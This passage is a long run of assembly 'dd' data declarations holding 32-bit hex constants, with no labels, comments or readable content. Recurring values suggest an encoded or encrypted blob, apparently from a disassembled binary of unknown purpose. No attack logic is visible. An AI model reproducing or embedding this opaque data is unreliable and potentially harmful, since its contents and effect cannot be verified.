0C842AA7Fh, 0C977B2A0h, 58E8BE82h, 91327BD8h dd 70A9628Ch, 25A86787h, 0D15CE274h, 9746CE6Fh, 0CC48C63Ch dd 0EFCD1C32h, 0C10805EAh, 40B7821Fh, 0B6636A9Bh, 0BAE89AA0h dd 2F6234EBh, 25A8618Ch, 7E6F9C42h, 33EBF70Eh, 91C27742h dd 299685E8h, 0A096B865h, 7C8731CEh, 6F8EA079h, 628CD263h dd 0A49C70A9h, 0C0B95A7Ah, 3D29962Ah, 0DAFC6C40h, 864BBC20h dd 68D1CA70h, 18250964h, 799D5431h, 8731CEC3h, 0B158837Ch dd 9B704E9Dh, 0CEBE826Dh, 0E8658D31h, 5329337Fh, 0B598BE73h dd 299623C1h, 0CE222686h, 0E0337546h, 0EFFF4867h, 8C33C210h dd 0B3527762h, 50706742h, 0D61BCEBFh, 0E32C942Bh, 710C47F2h dd 0EE299685h, 0E056F831h, 46CE6FD1h, 8B4408Ch, 0B26FADFFh dd 8E43C227h, 0A8638968h, 0E8BE8278h, 5A11BA7Ch, 9C1F216Dh dd 628CA74Eh, 3FB65577h, 28844B4Dh, 0C30E2CA8h, 6FD1DA0Eh dd 818C31CEh, 3AB95D0Ch, 66A54796h, 46CE7DABh, 0DE8573D8h dd 0EBF41AF7h, 0FC07B14Eh, 0D3E8E45Ah, 169203E6h, 5D7A52EFh dd 2986B897h, 0C746A710h, 3D0313C6h, 17A04E9Ch, 7AC056B5h dd 828D31CEh, 85C1BC57h, 413E2996h, 6DA23EADh, 8C6FD1BBh dd 0DDA0BB64h, 5A299685h, 7E8B32ADh, 0B267A277h, 0BC7E915Ah dd 0A5491F5Dh, 0CEBE828Fh, 787D8831h, 805E8DA1h, 85FD809Bh dd 5B7A2996h, 40199C73h, 82A04089h, 0CE59EFBEh, 777E8931h dd 85D8A1B2h, 0A8552996h, 202ECD61h, 0C04B718Eh, 648C082Eh dd 72B75279h, 4F68D1CEh, 0A98F9F6Eh, 0A0BB648Ch, 299685DDh dd 31A46B53h, 81678678h, 57824782h, 860871A2h, 98852996h dd 1A775F34h, 6D817A69h, 0E8BE82C7h, 9203E6D3h, 9C1F2116h dd 0B117A04Eh, 2DD54E35h, 5792DF36h, 0CD738356h, 5179648Ch dd 66A149B6h, 638976ABh, 0D1B086A8h, 8731CE6Fh, 8EA0797Ch dd 745C7D5Fh, 93221A9Bh, 0FCD01251h, 0F5D8BF0Ah, 0D12BDD14h dd 0A9628C6Fh, 0E8BE8277h, 29968595h, 1667F44Dh, 93299685h dd 448D7664h, 46CE8CB2h, 0DE7DCB05h, 2995DA9Bh, 0FA896B18h dd 245506DFh, 0A12995F0h, 0EA092DE4h, 0D1D90704h, 79648C6Fh dd 3641B44Fh, 0AC7D7095h, 0DE9FBC65h, 5B299685h, 82C563AEh dd 0A70755B7h, 55AB4934h, 31CE7BC1h, 806F7F8Ah, 0B84F7B5Eh dd 0B782CF71h, 85A8D182h, 0BD1E2996h, 32944548h, 0BA6F9643h dd 5E8C9E94h, 0A74730A5h, 8D4E6F68h, 6D3DA2Dh, 8372CACBh dd 0CE738757h, 0B828D31h, 9C82B85Eh, 3E2CA04Eh, 4B746B0Fh dd 8CE84EE0h, 0D17DAB64h, 77628C6Fh, 0A1648556h, 7DB47D2Ch dd 9BDE7DC4h, 18299685h, 0D175CB6Bh, 8731CE6Fh, 516E797Ch dd 0A96039BCh, 858A6685h, 3737785Ch, 0FB147FC2h, 46CEE55Bh dd 776312DDh, 684C1D90h, 5E59C7DDh, 80698D82h, 0A9628CC0h dd 0B9877524h, 95E873CEh, 12299685h, 27340115h, 29968556h dd 0D62BD6D3h, 96853445h, 62F4B129h, 82B782DCh, 9685A8D1h dd 0D6782529h, 0AA638C60h, 739C4423h, 2531D882h, 9C3CF479h dd 648CA74Eh, 76CB76ABh, 968594E5h, 7141129h, 29968576h dd 1A2036F3h, 7D8831CEh, 89C15FD9h, 8CBE82B7h, 96168E64h dd 838809CFh, 4D41934Eh, 0E02E3674h, 826CD264h, 0D53702BEh dd 27BC137Fh, 0C96F7F47h, 89A74E9Ch, 8931CEB7h, 8CA2777Eh dd 8609749Fh, 99862996h, 4146CE67h, 0CF4E1CAFh, 4FBE1F98h dd 2B9475BFh, 8AB046BDh, 95E873CEh, 12299685h, 0D910F7E3h dd 0F51AB635h, 8CBE8253h, 0B8577762h, 2FAD6435h, 0EC8DCE91h dd 0A4299685h, 5558AF1Bh, 68A16E52h, 0C8712EC6h, 0DAFB7F44h dd 0D2A659A7h, 2CAACB6Ah, 310727E2h, 3E02BE82h, 828D31CEh dd 0B4418D6Ch, 818C31CEh, 0AD627E6Dh, 0E873CE7Bh, 29968595h dd 37011512h, 5246CED9h, 0F07B0B42h, 83A27D91h, 6335AD91h dd 9645C5B8h, 6F454229h, 0F0295523h, 96551A63h, 44EA9729h dd 0A8618CEEh, 0A2678671h, 62D87E2Bh, 95E873CEh, 12299685h dd 17D7DAF8h, 97529E8Ah, 0CED26E77h, 56890746h, 8CA27DB8h dd 7D9E815Dh, 29964DFCh, 0FE7F9C79h, 7B29964Dh, 538E438Eh dd 70867F6Ch, 0CEBE82CAh, 797C8731h, 0D4BB8EA0h, 6852A0DDh dd 1E9CE664h, 90494CC1h, 0EBEAC33Ch, 648CF54Bh, 6FD17DABh dd 7DAB648Ch, 0DA55B782h, 90546910h, 0EF5E3DCh, 618C52E8h dd 678671A8h, 3ABB4C70h, 7623AA5Fh, 68D15AE0h, 199C6B4Fh dd 0CE88AE40h, 0A9D4B46h, 89ADA165h, 5089866Ah, 66488E7Ch dd 5B0E7F84h, 9EED7279h, 31CEC278h, 0F9848F8Ah, 76299685h dd 84AE4089h, 55AE1CA3h, 0CF658960h, 818C31CEh, 8A5C7E6Dh dd 5D88DE6Dh, 0A95099A5h, 5459AE0Eh, 0CECB7185h, 8F01C646h dd 0F41AD3F2h, 9B14EEBh, 0F722F7FEh, 9684215Ch, 4DE19E29h dd 0A2F2E8E7h, 21F75546h, 0C0A8B418h, 67FF21D1h, 73CE71C7h dd 968595E8h, 1151229h, 8C21D402h, 0D183A55Eh, 8B31CE6Fh dd 0E6643963h, 0D51C9D16h, 0FB08B241h, 0F914B946h, 31CEDF55h dd 746D818Ch, 0E873CEBCh, 29968595h, 0B42AE10Bh, 1DD43795h dd 36D3FAF9h, 5425360Bh, 0D1299685h, 900EBD4h, 0FB41D584h dd 9B40B782h, 0A0B6636Ah, 9C1F219Ah, 5E8CA74Eh, 0CDC04773h dd 0CE33D51Ch, 8595E873h, 15122996h, 8CD93701h, 987CA55Eh dd 8CC08EDh, 0C239612Ah, 0A7B43B12h, 8266CC62h, 6A9B40B7h dd 9AA0B663h, 7D8831CEh, 0BA8DA178h, 5546A31Ch, 0E149B21Ah dd 14C9534h, 52EF47EDh, 0D2658565h, 0BCBA51F9h, 55EB0BC6h dd 7D8831CEh, 0BE4D6F78h, 3624E373h, 0E792C178h, 64299685h dd 6BA66985h, 85D4A5B6h, 54512996h, 31CE7CC2h, 0A1787D88h dd 85A2DB78h, 621F2996h, 48BB1DCCh, 0D2AB6891h, 4F299685h dd 0D0007A52h, 118DF70Dh, 68D137FDh, 0DDFA4464h, 0B85E4312h dd 0A8618C82h, 8C6FD178h, 0C44B735Eh, 28D118D1h, 0EDE02F8Fh dd 82241A3Ch, 8831CEBEh, 36A1787Dh, 0A8817499h, 87866786h dd 7446CE59h, 9244E1A8h, 48F1FA1Ch, 36056C4h, 0DAE608F9h dd 0E5B843C9h, 53E90DC4h, 30A55E8Ch, 7164A347h, 6A3422E9h dd 94696BD0h, 0FA0F7FF3h, 0A83F625h, 3002996h, 9C1228CEh dd 5E8CA74Eh, 46CE83A5h, 3B2AA52Bh, 0BD7797EAh, 9279635Ch dd 31CEB67Ch, 0BA6E808Bh, 0A6638A75h, 1E3D4F4Eh, 44EAC500h dd 8595E8EEh, 8C542996h, 8623AA63h, 9685A4D5h, 7B642129h dd 0C834B950h, 97FDA1ADh, 44C72592h, 0C0769851h, 7F8A31CEh dd 373B7C2Dh, 628646Ch, 0CE4AEBF7h, 0D97D8831h, 0AE10A74Eh dd 6D81585Dh, 0E873CEC7h, 29968595h, 83F62512h, 299685h dd 0ECD1CE03h, 59FDAC21h, 3BA3329Ah, 82EB1DD4h, 0A8D182B7h dd 33299685h, 6D136574h, 0AA87777Eh, 962F1069h, 59908D29h dd 0B0897FB5h, 340E005Ch, 0A2777E87h, 0CFEEC34Ah, 73CEF93Fh dd 968595E8h, 0DDF81229h, 4291C70h, 4DEA0CC5h, 95F46B0Eh dd 2E9C2329h, 0E509E0D5h dd 0D1F0100Dh, 0A06F4F68h, 724EF74Ch, 698D0995h, 4246CED3h dd 0B7561BAEh, 3A48D181h, 21E8A2C2h, 1B513A0Dh, 8CEC52A0h dd 0CE79A760h, 787D8831h, 6F9436A1h, 60B455DFh, 6072B6D7h dd 0A4658833h, 0CE73C96Dh, 0D808B31h, 8F76635Ch, 4CAB4B1Eh dd 85BC659Eh, 9685A3D6h, 0D3632029h, 55B7826Dh, 0E0946FA7h dd 104BF653h, 2996246Dh, 23193DEAh, 88BBE8E8h, 0F712FA51h dd 0A4D4C6AEh, 21C2789Eh, 9D3E9F18h, 8F06CB3Eh, 0CEFE34DAh dd 8595E873h, 15122996h, 0D1C441AAh, 0DB07F618h, 6646CE1Ah dd 7BA4EF92h, 70B94E6Eh, 5AA90FDEh, 0E873CEA6h, 29968595h dd 37011512h, 306E5D2h, 137D792h, 95E873CEh, 12299685h dd 0C8F20115h, 0C8F3E009h, 549D4C41h, 75506B61h, 17974DDFh dd 0D5E217D2h, 0C7A213F6h, 0F41AEBD0h, 55B7823Eh, 21CDCD6Eh dd 71C767ADh, 95E873CEh, 12299685h, 0CAF20115h, 0DF2AE10Bh dd 0E873CE41h, 29968595h, 0A528DF0Bh, 11512F4h, 59EF48E8h dd 508D31CEh, 60559C6Dh, 36A72389h, 1C0E0200h, 16DF0BFAh dd 95E873CEh, 12299685h, 0D811F8E3h, 0F211B736h, 8731CE4Eh dd 0B057837Ch, 70CA6C3Dh, 932345C7h, 0EC11B240h, 53E48608h dd 0D5794EE3h, 3746CE5Fh, 0B5C85379h, 32299629h, 0C1D99F75h dd 0C6F40313h, 0BE820B3Dh, 88BBE8E8h, 52EF0151h, 1B5DF27Ah dd 0BA5C8490h, 0A04E9C84h, 85BFBA59h, 0D3C2996h, 81585DB0h dd 0CE90A648h, 6C828D31h, 71A85B7Dh, 0A4AF6486h, 299685D9h dd 0CE60A956h, 0CE6FD168h, 8595E873h, 15122996h, 854E2FECh dd 0DECB2996h, 0F611B938h, 1465F64Bh, 91299685h, 0D1BC8294h dd 556D6468h, 0DF0DE7ACh, 5E8CE94Fh, 31CE83A5h, 746D818Ch dd 0A8618CBCh, 40B78278h, 72C86E9Fh, 4E9C3E02h, 0BFBA59A0h dd 3C299685h, 8C89AF3Fh, 0D3A6B55Eh, 50299685h, 0D16A9E53h dd 0E873CE6Fh, 29968595h, 0F2011512h, 82A13FCCh, 699A40B7h dd 85DAA3B0h, 0AA572996h, 99E8AE84h, 49299685h, 851A63F0h dd 41D22996h, 29968538h, 29D6C8B5h, 638C2F05h, 867623AAh dd 0AA8F5BB1h, 47D55C8h, 0AA0246FCh, 0B5596971h, 40B7827Fh dd 73C96D9Eh, 8B9C46CEh, 9FC5F9B9h, 5B7E608Fh, 0E6FAC73h dd 8B299596h, 6A9E539Eh, 7AC76FD1h, 85E994BFh, 0B9662996h dd 46CE9F95h, 36A1DFB4h, 0A99CB278h, 299627D0h, 0CE59EF8Fh dd 6F7F8A31h, 13AC4290h, 0BB6E5FA6h, 73CEA59Bh, 968595E8h dd 1151229h, 0B7890626h, 85EC8DCEh, 1BA42996h, 7D683BAFh dd 5CEE6027h, 8C798195h, 0E6FAC55h, 8B29960Fh, 0C5B8639Eh dd 4229960Eh, 828BB145h, 0D994E8BEh, 0EF55310Dh, 8D31CE59h dd 418D6C82h, 0CEB789B4h, 0D87E8931h, 85BDC05Bh, 303A2996h dd 1639FA70h, 0BC57824Bh, 29962AC1h, 5888413Eh, 5F8C73CEh dd 0D47A2FA6h, 96860871h, 61988529h, 1E0C116Bh, 0CF5F4983h dd 896FD169h, 67A647B0h, 9DA3B366h, 818C31CEh, 7CB95D0Ch dd 9EDF7CC5h, 1B299685h, 0BD48716Eh, 7ACD6138h, 299685FFh dd 9B6E4D7Ch, 4F8A3F1Ah, 861069AAh, 8BC82996h, 299685F2h dd 4F4CB26Fh, 861069AAh, 908D2996h, 0BE82B87Eh, 0F4F4A5E8h dd 1821445Ah, 854732E1h, 0D7C42996h, 4E9C0137h, 47B089A7h dd 6AD066A5h, 85EC8DCEh, 0BC692996h, 0EC8DCE8Ch, 69299685h dd 0BE68119Fh, 7962820Eh, 5C8C458Ch, 8DCE73CEh, 299685ECh dd 0DE9FBC69h, 5B299685h, 89AE88AEh, 39BC516Eh, 8968CE60h dd 8A31CEB7h, 0BB5B0E7Fh, 859CDD7Eh, 6C192996h, 0CEBE82BCh dd 2C808B31h, 3A1AAF8Fh, 4F9EB030h, 826A9E6Dh, 3B9E40B7h dd 0A475788Fh, 9DB1686Dh, 9C59EF97h, 0B1A1A74Eh, 0EBE31A1Eh dd 0CEDBA50Fh, 0D97D8831h, 85BEBF5Ch, 0CB762996h, 9685ED90h dd 84BD6A29h, 9685A6D7h, 0D0662329h, 0CECD7B28h, 8595E873h dd 15122996h, 56273401h, 0E299685h, 4D40CBF1h, 53827A9Ch dd 0B46DA46Bh, 6F669D4Bh, 0D19E94BAh, 0CEB7896Fh, 0AEBCAF46h dd 1AB6E4E2h, 0E02900F5h, 1638D7F7h, 957FFA19h, 0C0372995h dd 0B048EE1Fh, 0FDF01BC1h, 0C33CE52Ch, 2BFEEF16h, 0F11862C9h dd 50E6C65Ah, 0CEBE82EAh, 6C828D31h, 0F4F4B0D9h, 608C4F5Ah dd 9B4126A7h, 9FBC7D70h, 299685DEh, 3B52AE5Bh, 5DEB6F2Fh dd 89A74E9Ch, 0A173CEB7h, 0E4E2A75h, 96E7746Ah, 13299629h dd 28330016h, 29962955h, 0E7F5070Dh, 0B91BEECDh, 59FD4793h dd 0FD0AB2A1h, 31E821F8h, 0E93C6EDBh, 0DF6FB0C9h, 6446CE59h dd 9E27F1BCh, 225BF821h, 9F29965Eh, 34DF4CE2h, 29965E49h dd 1D900B01h, 2E47365Fh, 1843F008h, 29965765h, 3CEC25E2h dd 0A36468D1h, 4F1D7EB7h, 0C74BF105h, 0E994BF7Ah, 5F299685h dd 6D1A8C7Bh, 46CE73C9h, 17640E7h, 4906FC32h, 0F60CC20h dd 3C3D1026h, 0F42995FFh, 0D16BF820h, 42D426ACh, 0CE1F21FCh dd 2B818C31h, 6C445A6Bh, 0FDFC129Ch, 80C024D1h, 72A7608Ch dd 8EA06385h, 8731CEA8h, 8EA0797Ch, 0B7899B55h, 85EC8DCEh dd 0BC692996h, 8731CE8Ch, 8EA0797Ch, 547C83A4h, 0BD88109Eh dd 64AD0703h, 94E86CD2h, 4E310DD9h, 95020DB1h, 0DDCD134h dd 73CE53E9h, 968595E8h, 6B0E4D29h, 0E8299685h, 38DECB3Bh dd 52F611B9h, 7C8731CEh, 40B760DAh, 0B0696C9Dh, 0B089989Eh dd 0AC109D5Ch, 0A2B4231Ah, 0CE73CE9Ch, 9685EC8Dh, 9ABC6929h dd 9685CAB7h, 607D7A29h, 93645690h, 9257618Dh, 7C97747Ch dd 29964201h, 0F782917Eh, 74299641h, 73554287h, 854C1D90h dd 40B78263h, 768F3C9Fh, 8CA59BBBh, 0C1547560h, 9685E792h dd 72B76429h, 6E8A82B7h, 0B100875Dh, 0CEE45AFCh, 0D97D8831h dd 724E6910h, 0C6B7649Dh, 43299685h, 218AB046h, 8831CE1Fh dd 0A2679E4Bh, 0D4616D8Ch, 8DCEB789h, 299685F0h, 56B517A0h dd 8C648A5Fh, 73CE718Fh, 84AA638Ch, 9685B8C1h, 0C52B3529h dd 7D6CF23Bh, 7BC67BB6h, 967D9DE0h, 0C96D1A29h, 4F68D173h dd 0D1A9B6Ah, 81955CAFh, 0A173CEBBh, 0E259ED6Ah, 0ACCD6EA1h dd 29299671h, 0AF1BDA7Ch, 73CEA858h, 968595E8h, 1151229h dd 628CD937h, 85DF9AB9h, 9F5C2996h, 315DAF6Ah, 0CE751A6Ah dd 0D163D97Dh, 735E8C6Fh, 8273BE45h, 0CE932DA7h, 8595E873h dd 15122996h, 0B641E801h, 2DFCF116h, 851667F4h, 96932996h dd 0B789BA80h, 95E873CEh, 12299685h, 2232D7F8h, 62A7F01Bh dd 8C5D13CCh, 997BA65Fh, 85B51506h, 45FB1BA1h, 6B4F68D1h dd 4D84816Ah, 2CA16E52h, 0CE63D97Dh, 6D818C31h, 7BAD627Eh dd 81C7BE82h, 0A0BB648Ch, 299685DDh, 0C464AD5Ah, 828D31CEh dd 7EB85E0Bh, 0C446CEA0h, 3D889137h, 5F7F6E80h, 0B78290B0h dd 13A72855h, 46D5201Fh, 29961033h, 183EF3B0h, 8595E822h dd 0B24D2996h, 3BD8010Eh, 29968542h, 62CC2BFh, 31CE59EFh dd 5E0B828Dh, 581D49B8h, 7C8731CEh, 5F8EA079h, 6369907Fh dd 8363FDC4h, 9F95B992h, 7E8931CEh, 3EB95ED8h, 74CA6CA1h dd 0BD8E648Ch, 1F132893h, 0CEB2569Bh, 9E4C8931h, 7029AC65h dd 2F88A29Ch, 3FCFAEF5h, 0D4FC03A6h, 0E8251B3Bh, 29968595h dd 0AB648C54h, 0A9D47F2Ah, 26299685h, 0AB607E79h, 96C4B32Ah dd 0CE1432C8h, 8595E873h, 0E3122996h, 0CB9E0FF6h, 0C511F006h dd 0DC318E29h, 31CE043Ah, 5D0C818Ch, 89963AB9h, 3658A983h dd 8AA9BEF1h, 29966EEFh, 0A448AF6Ch, 72B77263h, 8C6FD1CEh dd 827DAB64h, 0A8D182B7h dd 25299685h, 8C60D678h, 7524A962h, 8587B287h, 296AC671h dd 671221FFh, 0E42995EFh, 9410D537h, 0EE2C62Bh, 8DCE52E8h dd 299685ECh, 7A85BC69h, 0A5648756h, 9EB07930h, 0E873CE98h dd 29968595h, 0E8011512h, 70A3CB41h, 0FBF211B7h, 0A218C62Eh dd 266CC62h, 8831CE3Eh, 8DA1787Dh, 73CE606Eh, 968595E8h dd 1151229h, 0AB648C3Bh, 8831CE7Dh, 8DA1787Dh, 0A0BB86A3h dd 299685DDh, 3DA16853h, 8C88AE40h, 0E29BB861h, 5F299685h dd 0D36D67A2h, 31CEBE82h, 1BDA7C87h, 82AC5CB3h, 6B9C40B7h dd 5F8C75CBh, 0A7482FA6h, 9FE6F66h, 740C01DDh, 7C8731CEh dd 6F8EA079h, 0E576CB63h, 29968594h, 3C021411h, 0A547B089h dd 94BA6F66h, 8B31CE9Eh, 78C16E80h, 85E792C1h, 0B7642996h dd 85C9B497h, 59462996h, 54B317A0h, 31CE7CC2h, 5E0B828Dh dd 8CA07EB8h, 53318E64h, 534F2AE9h, 0CFCC2996h, 65A4CBFDh dd 8FCC75ACh, 2995A4EEh, 2897CB79h, 0D6C835EEh, 0CE2F0529h dd 777E8931h, 9D538CA2h, 0A147B089h, 0CE66CC62h, 9685EC8Dh dd 648A6929h, 994126A7h, 0BA6EA36Eh, 644046CEh, 0B223E408h dd 0DB6915F7h, 6306DF6Fh, 20956E5Ch, 55885C2Ch, 0C702C356h dd 37021127h, 85285102h, 0F8A52996h, 85671241h, 37E42996h dd 4E9C2117h, 8931CEA7h, 8CA2777Eh, 5A8E815Dh, 829168D1h dd 299685F7h, 17C9774h, 7E299686h, 90A64881h, 9FE846CEh dd 228A7B60h, 9B040DBEh, 0EF3ADC33h, 1746CE51h, 34584664h dd 8A3FD0F0h, 0F4B9C44Fh, 49362995h, 0CEC381A5h, 8595E873h dd 15122996h, 852B4E01h, 0DCE32996h, 41F717F0h, 26A7608Ch dd 676E9941h, 0A67866A1h, 0B2189F9Ch, 9C77BD51h, 31CEA74Eh dd 4FDA7C87h, 82B789B1h, 6D9E40B7h, 0A746B168h, 98BE6B62h dd 0E873CEA2h, 29968595h, 0F2011512h, 3CAE0ECDh, 14876C0Ah dd 0E029E081h, 9168D140h, 9685F782h, 4E6A7429h, 9BE3E7D2h dd 0B87E9059h, 79A7608Ch, 0F79846CEh, 4D460EC5h, 0B438643Bh dd 0A80FDAB4h, 0B32CC243h, 927AC7FDh, 0FE8B7E32h, 3A00169Ch dd 7D8831CEh, 394BA178h, 4E363604h, 8F3BBA5Ch, 8C60A546h dd 43D81A19h, 1BC60B4Eh, 0DDD039A4h, 0D154EA0Ch, 3B476468h dd 0E8ED20BDh, 614CDB31h, 0E8300628h, 29969181h, 0A9628C68h dd 88F99C70h, 4DAD01D8h, 8F9F6C52h, 0F46CEA9h, 4FB44E2Dh dd 1BF28CEh, 2FA65F8Ch, 0A85B7D7Ah, 31CE922Ch, 0C06D818Ch dd 9685EA93h, 1C2AA229h, 0D47E99A0h, 0C4D0A96Ah, 504D2995h dd 907D7599h, 95C4FA83h, 4C6D7729h, 0A2F0E74Eh, 9C4C854Ch dd 5F8C6FD1h, 73CE82A6h, 968595E8h, 1151229h, 95E848E8h dd 54299685h, 7BA65F8Ch, 72FD4999h, 32975651h, 42F81ED3h dd 689168D1h, 9685D2ABh, 0C1524F29h, 299685B8h, 90A64835h dd 7C8731CEh, 0B84D6E79h, 89AD6435h, 5D84816Ah, 0E4FEFE77h dd 0C7A213FCh, 5306EDE5h, 0F70C6DAEh, 9C892995h, 0BE82C47Ah dd 7E8931CEh, 5D8CA277h, 7F558C7Fh, 0B7FFC910h, 7A913BA3h dd 0CB6BA673h, 0A16FD175h, 0FA0D39BEh, 0D1A61675h, 7692EB28h dd 94A2996h, 29967670h, 9FCE30EDh, 0CDDD03Fh, 820B31C5h dd 8C31CEBEh, 5D7E6D81h, 68D178A8h, 0F48D2564h, 59FAB434h dd 2995A420h, 529E09Dh, 0E881C72Fh, 29968595h, 0FF0CB24Dh dd 53BDB8Eh, 4E9C59EFh, 8F0B2CA0h, 84602EA6h, 80C0CC72h dd 79A7608Ch, 628CBE82h, 71B85777h, 82B782CFh, 9685A8D1h dd 0D6782529h, 6552EF60h, 5A0F8689h, 6B8B7E5Dh, 0A74E9CD5h dd 928D31CEh, 9685F881h, 41887529h, 0B7649D4Ch, 299685C6h dd 41B04643h, 0DF967E99h, 5EDDDE98h, 4F037685h, 83802996h dd 0C02C934Eh, 0D191A747h, 8C628C6Fh, 0A00C20DDh, 94E5769Ch dd 1129967Ch, 0F414DD14h, 95E873CEh, 12299685h, 0D2370115h dd 0F00B25FAh, 54B86B8Eh, 889D77A4h, 68CE6063h, 76AB648Ch dd 90A66189h, 8731CEAAh, 6811DA7Ch, 2E9F6E4Fh, 0E865DB7Bh dd 29968595h, 0E0BB24Dh, 96852C4Dh, 35FCA929h, 648C1B21h dd 90CB76ABh, 299685EDh, 0A399BD6Ah, 7D8831CEh, 7FBA5FD9h dd 9685A9D4h, 93792629h, 0B1C14B06h, 0E157F7CEh, 808B31CEh dd 0AC5B7F6Eh, 8931CE7Ch, 85ACCD8Eh, 7C292996h, 0C56940B5h dd 648C641Ch, 31CE7DABh, 5C0D808Bh, 6F8831BAh, 0A75E8B4Ch dd 98BE7326h, 0AB648CA2h, 689B3D2Ah, 7E6CA365h, 0CEAC9AA0h dd 0B828D31h, 85CCAD6Eh, 5C492996h, 54828195h, 2DBD1D9Ah dd 0DE43B368h, 0CB6BA6BFh, 0B7608C75h, 9685E19Ch, 68A15E29h dd 0B2CB88B1h, 2F299685h, 0CE56DC72h, 0F1628A31h, 36262CA3h dd 6BC569A0h, 0AB648CD5h, 4F68D17Dh, 3F1A9B6Ah, 628C89AFh dd 877524A9h, 0A646CEB9h, 6763AF35h, 0DAA3B069h, 57299627h dd 0A55B84AAh, 72A7608Ch, 0E4C6E99Ah, 0C86EE1C8h, 55B78272h dd 99BD357Eh, 39FF0F9Fh, 31CEB789h, 0A0797C87h, 5F58A18Eh dd 39038A79h, 338F83Bh, 0B0468B10h, 95DFE09Dh, 0E68B5529h dd 5F1E11C8h, 0CE011FEAh, 8595E873h, 15122996h, 0CED93701h dd 0B828D31h, 8D78615Eh, 2EBD5108h, 79C0798Eh, 96859FDAh dd 0CF5F1C29h, 8831CE69h, 8FBBB260h, 6CA5DE5Fh, 45C770CAh dd 1973FFE8h, 4DF303EAh, 0B78980C0h, 7E8931CEh, 538CA277h dd 82B7899Dh, 0A8618CBEh, 0A56A8671h, 68D1AB91h, 806A6B4Fh dd 92A84E83h, 31CE81C7h, 8EB06189h, 0FCC5F09Bh, 45E9C035h dd 95967702h, 648C3629h, 85DDA0BBh, 0AD5A2996h, 65867164h dd 0A8DF2DA0h, 0E15EE4BAh, 8582FB18h, 2FF2996h, 41D53895h dd 0A74E9CFBh, 628C80C0h, 8AC970A9h, 299685EFh, 86116CA7h dd 918E2996h, 58DE702Dh, 7AC7BE82h, 2AAB5E7Dh, 8C59DF6Fh dd 0D177A962h, 0F7829168h, 74299685h, 8CD16787h, 997BA65Fh dd 3656AA5Dh, 44FA1CB5h, 9A40B782h, 3F986469h, 20E7ACFh dd 0F349ED24h, 0D4C2AFE8h, 4D0E332Bh, 2758482Ch, 684D0FB7h dd 0C539E3FDh, 0CE0036D8h, 6E808B31h, 76AB5A7Fh, 4B725F89h dd 0A78273BEh, 68D1B187h, 71679B64h, 1CCDC04Bh, 0B67FE0B8h dd 5F8C9AA0h, 31CE82A6h, 0A1787D88h, 0CE9C548Dh, 0D97D8831h dd 6FD1BD6Bh, 66895F8Ch, 0C6207550h, 9970D3DBh, 71282B33h dd 0B78288B8h, 0C86E9F40h, 8592E872h, 0A9502996h, 96860F6Ah dd 0F18CC729h, 6E299685h, 0BE504DB1h, 9C1F2178h, 31CEA74Eh dd 5E0B828Dh, 759039B8h, 8A31CED3h, 6BC56F7Fh, 7BA65F8Ch dd 27AE5784h, 686D9E40h, 60D678B1h, 0A040B782h, 8BAB7E6Fh dd 8A31CEB5h, 795B0E7Fh, 8C7F1374h, 0C87698FCh, 0AB0DAA4Fh dd 77845558h, 2995CD06h, 0CA708683h, 5F8C6FD1h, 0FEE5D589h dd 0BCD8242Dh, 93A92DAh, 0BD4C6F15h, 828BBD74h, 8B31CEBEh dd 0B9DB6E80h, 4A2BD4C2h, 4E9C3E02h, 0E873CEA7h, 29968595h dd 856B0E4Dh, 3BE82996h, 0B938DECBh, 0C84CF510h, 0D49F7FB2h dd 38FE1008h, 628C6FD1h, 668770A9h, 0C621278Ah, 0F33E5834h dd 31072702h, 5F8CBE82h, 9C04974h, 0A646CED7h, 0C1FDAFB1h dd 2BE27C7h, 30A55E8Ch, 6B62A147h, 0D3D90502h, 52E821E8h dd 367EE7EDh, 61B35C84h, 819587CBh, 8A31CEBBh, 0BB5B0E7Fh dd 0CE571E4Ch, 0EC8DCE73h, 69299685h, 85DE9FBCh, 0AE5B2996h dd 88836988h, 126BA851h, 8F299686h, 0D1B67C92h, 0BB276468h dd 31E9E9F2h, 5F8C171Dh, 56847BA6h, 0DD7128ADh, 0CE6FD157h dd 6E808B31h, 527C5D7Fh dd 853334B9h, 67A2777Eh, 31CE7EA2h, 746D818Ch, 0E873CEBCh dd 29968595h, 4E011512h, 2996852Bh, 0AB648CEAh, 699C3D2Ah dd 0B2598364h, 777561A8h, 6841B453h, 9CAB99A1h, 73CEA74Eh dd 968595E8h, 0FBE31229h, 1C8A114h, 2BE0FEEDh, 0E873CEFDh dd 29968595h, 37011512h, 407E5D2h, 0B7894CF2h, 31CEBE82h dd 1AD97D88h, 15A257B4h, 8C5D50B3h, 0BE82D46Ah, 0A747B089h dd 80759A36h, 68CE60A9h, 0FBA173CEh, 30AB38Bh, 821046B1h dd 0C0A4D96Ch, 3A192995h, 6D964493h, 4BB46DA4h, 75CB6BA2h dd 0FCA173CEh, 0EA6AC78Eh, 0EA780112h, 0CEEE2995h, 36D8C539h dd 31CE22FCh, 806F7F8Ah, 0DB9EBD5Eh, 58299685h, 0D1C266ABh dd 0CE80C06Fh, 6CAEF146h, 4D9F3EA7h, 657CB8EFh, 562DC118h dd 0A65F8C56h, 4D6D8A2Fh, 6BA66788h, 8B9FAF6Ah, 0AE1CB724h dd 0BF689C55h, 85A0D97Ah, 601D2996h, 85FD7BCEh, 4D92996h dd 0F429DA73h, 1026DD0Bh, 94F2AC3Dh, 4D7B8429h, 0C8ADA0B6h dd 7829103Dh, 6CA13EA9h, 85684FB8h, 0C6261184h, 87668841h dd 8572A766h, 923AA568h, 85A98075h, 0BA229D5Ch, 3B91484Dh dd 14ECFEA3h, 10143A57h, 740516EBh, 0F1291007h, 0E62BD802h dd 778FD50h, 1B382910h, 29100762h, 32E722DFh, 7314C07h dd 0D4AE2910h, 0CCDD774h, 0A94D8481h, 0C178C569h, 1050E792h dd 0B49A6429h, 0DC92212Bh, 0E073834Eh, 290FDC3Dh, 42D14873h dd 290FDC37h, 8B02C7B4h, 0CACB44ACh, 0DC89F41Fh, 1906290Fh dd 67372314h, 802E3CD3h, 8FEA628Ch, 77979E6Dh, 0A7B48DACh dd 29104ED6h, 746AA34Ch, 64886787h, 708732A3h, 6039BC4Dh dd 4EDF9AB9h, 9F5C2910h, 577A608Fh, 0A55C9574h, 4EBEBF5Ch dd 4E3B2910h, 98383FA8h, 4EB1CC87h, 712E2910h, 0CD7435B8h dd 104EEB8Eh, 9BBB6829h, 0A30D9B97h, 8E1D43Bh, 3F9F18C1h dd 48F13ED0h, 5AFC0BAFh, 104E6AF7h, 749F5A29h, 29104F09h dd 7D759986h, 59BB5C80h, 2009B22Ah, 1336D882h, 295E5682h dd 0EE30490Ah, 0F0AD28C0h, 